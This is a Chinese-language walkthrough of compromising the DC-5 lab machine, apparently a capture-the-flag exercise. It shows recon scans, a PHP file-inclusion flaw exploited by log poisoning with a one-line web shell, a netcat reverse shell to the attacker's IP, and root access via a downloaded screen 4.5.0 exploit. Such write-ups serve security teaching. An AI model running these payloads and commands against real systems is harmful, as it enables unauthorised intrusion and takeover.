DC-5渗透测试
信息收集
地址探测
使用arp-scan对目标主机进行地址探测
arp-scan -l -I eth0
目标主机IP地址为172.30.1.132
Nmap扫描
使用Nmap对目标主机进行端口扫描
nmap -sS -sV -T4 -p- -O 172.30.1.132
//-sS Nmap默认扫描类型,SYS的秘密扫描
//-sV 服务版本检测
//-T4 野蛮扫描(常用)
//-p- 对所有端口进行扫描
//-O 识别操作系统类型 (大O)
目标主机只开放了80端口,所以我们突破点就在80。
目录枚举
使用dirbuster进行目录枚举,dirbuster中自带有字典
选择Results-Tree Vlew模块可以到网站目录的架构
这里看到一个footer.php,这是一个网站页脚的程序文件。
还看到contact.php,这个是网站的留言板,也就是网站交互式的地方。
HTTP探测
在访问目标主机的网站没有思路时,可以看一下网站的架构
随便编写提交看一下有什么不一样的地方。
提交后重定向到thankyou.php的文件中,随着不断刷新,看到页脚的版本在发生改变,这个就是文件包含漏洞啦
直接访问thankyou.php的效果也是一样的,也就是thinkyou.php调用了footer.php
形式为:http;//172.30.1.132/thanyou.php?file=footer.php
我们可以验证下一是否存在文件包含漏洞呢?
看到是可以看到目标主机的账户文件的。
漏洞查找及利用
文件包含
文件包含漏洞:
文件包含漏洞通常出现在编写糟糕的PHP web应用程序中,其中输入参数没有得到正确的处理或验证。
因此,攻击者很容易捕获传递的HTTP请求,操纵URL参数,该参数接受文件名并将恶意文件包含在web服务器中。
原理:
服务器执行PHP文件时,可以通过文件包含函数加载另外一个文件(参数),另外一个文件中的PHP代码就会被执行,
这是在Web开发时,代码常用的一种处理方法。
利用日志GET到SHELL
对根目录的请求包写入一句话木马,看到响应码是400,不用管
<?php system(&_GET['cmd']) ;?>
DC-5使用的是nginx,默认日志路径/var/log/nginx/access/log
写入后访问是可以看到的,如果看不到就是访问次数过多,日志文件可能满了。
我们可以通过&进行传参到CMD执行系统命令。
查看目标主机是否有nc,看到这里是有的。
/thankyou.php?file=/var/log/nginx/access.log&cmd=which nc
获取shell
使用nc获取shell
Kali主机做侦听
nc -lnvp 4444
目标主机主动连接kali
/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -nv 172.30.1.20 4444 -c /bin/bash
提权
信息收集
查看系统账户文件
cat /etc/passwd
没有什么有用的信息
查看SUID权限的文件
find / -perm -4000 -type f 2>/dev/null
这里有一个/bin/screen-4.5.0的文件。
使用searchsploit搜索提权漏洞
searchsploit screen 4.5.0
提权
将漏洞文件镜像到本地主机
searchsploit -m 41154
dos2unix命令用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以\r\n作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示^M,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令。
run.sh格式转换,每个操作系统以字符表示结尾的时候是不同的,查看脚本文件若每行结尾为 ^M
则需要使用命令 dos2unix run.sh 将其转换一下
提权参考
cp 41154.sh run.sh
dos2unix run.sh
使用python搭建一个简易Web服务器
python -m http.server 5555
使用wget下载脚本文件
wget -c 172.30.1.20:5555/run.sh
给该脚本添加执行权
chmod 777 run.sh
运行脚本
www-data@dc-5:/tmp$ ./run.sh
./run.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
获取flag
总结
1、DC-5是存在文件包含漏洞,通常出现在PHP Web应用程序中。
2、文件包含漏洞存在的原因,输入参数没有得到正确的处理或验证。
3、文件包含漏洞的原理,服务器执行PHP文件时,可以通过文件包含函数加载另外一个文件 (参数),另外一个文件中的PHP代码就会被执行。
4、通过文件包含漏洞可以查看Linux系统的敏感文件
5、文件包含分为两类:
本地文件包含(Local File Inclusion,LFI)当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含(Remote File Inclusion,RFI)当被包含的文件在第三方服务器时,叫做远程文件包含(前提:开启了PHP配置中的allow_url_fopen选项)
6、Nginx默认日志文件/var/log/nginx/access.log
7、文件包含漏洞:通过GET请求写入一句话木马 通过日志获取shell 查看系统SUID的权限,获得提权
8、PHP中文件包含函数有以下四种:
require()
require_once()
include()
include_once()